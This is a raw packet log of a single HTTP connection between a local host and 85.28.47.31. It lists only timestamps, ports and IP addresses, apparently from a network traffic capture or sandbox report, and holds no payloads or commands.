Jul 27, 2024 09:25:00.656562090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656575918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656589985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656599998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656605005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656620979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656636000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656649113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.656657934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656682014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656708002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.656974077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.657027006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.657042027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.657085896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659455061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659507990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659516096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659523964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659557104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659576893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659595966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659610987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659626007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659634113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659667015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659693003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659715891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659730911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659744978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659755945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659785986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659871101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659893036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659908056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659921885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659924030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659929991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.659949064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.659972906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718353033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718386889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718401909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718421936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718455076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718461037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718508005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718508959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718524933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718545914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.718564987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718590021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.718614101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728348017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728367090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728394985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728416920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728418112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728432894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728439093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728457928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728477001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728523016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728538036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728569031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728579044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728611946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728626013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728627920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728641033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728656054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728671074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728688955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728710890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728759050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728773117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728789091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.728797913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.728840113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738503933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738528013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738543034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738557100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738596916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738630056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738646030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738660097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738673925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738678932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738719940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738780975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738795996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738811016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738816977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738857985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738867998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738904953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738907099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738920927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738936901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.738950014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738970041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.738992929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739003897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739048958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739049911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739065886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739089012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739097118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739119053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739140987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739181042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739213943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739223003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739228964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739243984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739264965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739284039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739308119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739360094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739404917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739454031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739464998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739480019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739507914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739516020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739530087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739559889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739639997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739655018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739669085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739685059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739686966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739706039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739734888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739758968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739783049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.739943981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739968061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.739983082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740004063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740005016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740036011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740098000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740112066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740128040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740143061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740149021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740187883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740206003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740211010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740259886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740348101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740395069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.740416050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.740459919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748435020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748507977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748518944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748553038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748568058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748579025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748600006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748601913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748617887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748631001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748641014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748641014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748646021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748667002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748692036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748774052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748789072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748802900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748817921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748826027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748857021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748889923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748939037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748984098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.748984098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.748999119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749020100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749046087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749124050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749139071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749154091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749170065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749167919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749197960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749238014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749281883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749298096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749329090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749346018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749346972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749361992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749376059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749388933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749392986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749407053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749413967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749422073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749433994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749448061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749480963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749872923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749887943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749902010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749922037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749957085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749963999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.749972105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.749986887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.750000954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.750001907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.750042915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752665043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752707958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752722979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752731085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752758026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752778053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752799988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752814054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752829075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752842903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752844095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752868891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752887011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.752954960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752978086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.752993107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753004074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.753005028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753038883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.753072023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.753091097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753106117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753120899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753134012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.753134966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.753159046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.753180981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.811834097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.811901093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.811920881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.811937094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.811949968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.811970949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.811989069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.812004089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.812020063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.812036037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.812062979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.812073946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.812084913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.812129021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821521044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821578026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821609974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821618080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821650028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821660042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821671009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821691990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821719885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821724892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821753979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821759939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821773052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821803093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821813107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821851969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821858883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821885109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821911097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821918011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821944952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821950912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.821964979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.821984053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.822009087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.822016001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.822030067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.822062969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832012892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832066059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832096100 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832098961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832118034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832164049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832195044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832227945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832256079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832261086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832274914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832293987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832312107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832340002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832345963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832395077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832396030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832427979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832442045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832459927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832494974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832518101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832525015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832560062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832585096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832592964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832607985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832642078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832691908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832722902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832746983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832756042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832787991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832792044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832811117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832820892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832839966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832854033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832868099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832887888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832902908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832921028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832948923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832952976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.832967043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.832986116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833014011 CEST	49704	80	192.168.2.5	85.28.47.31
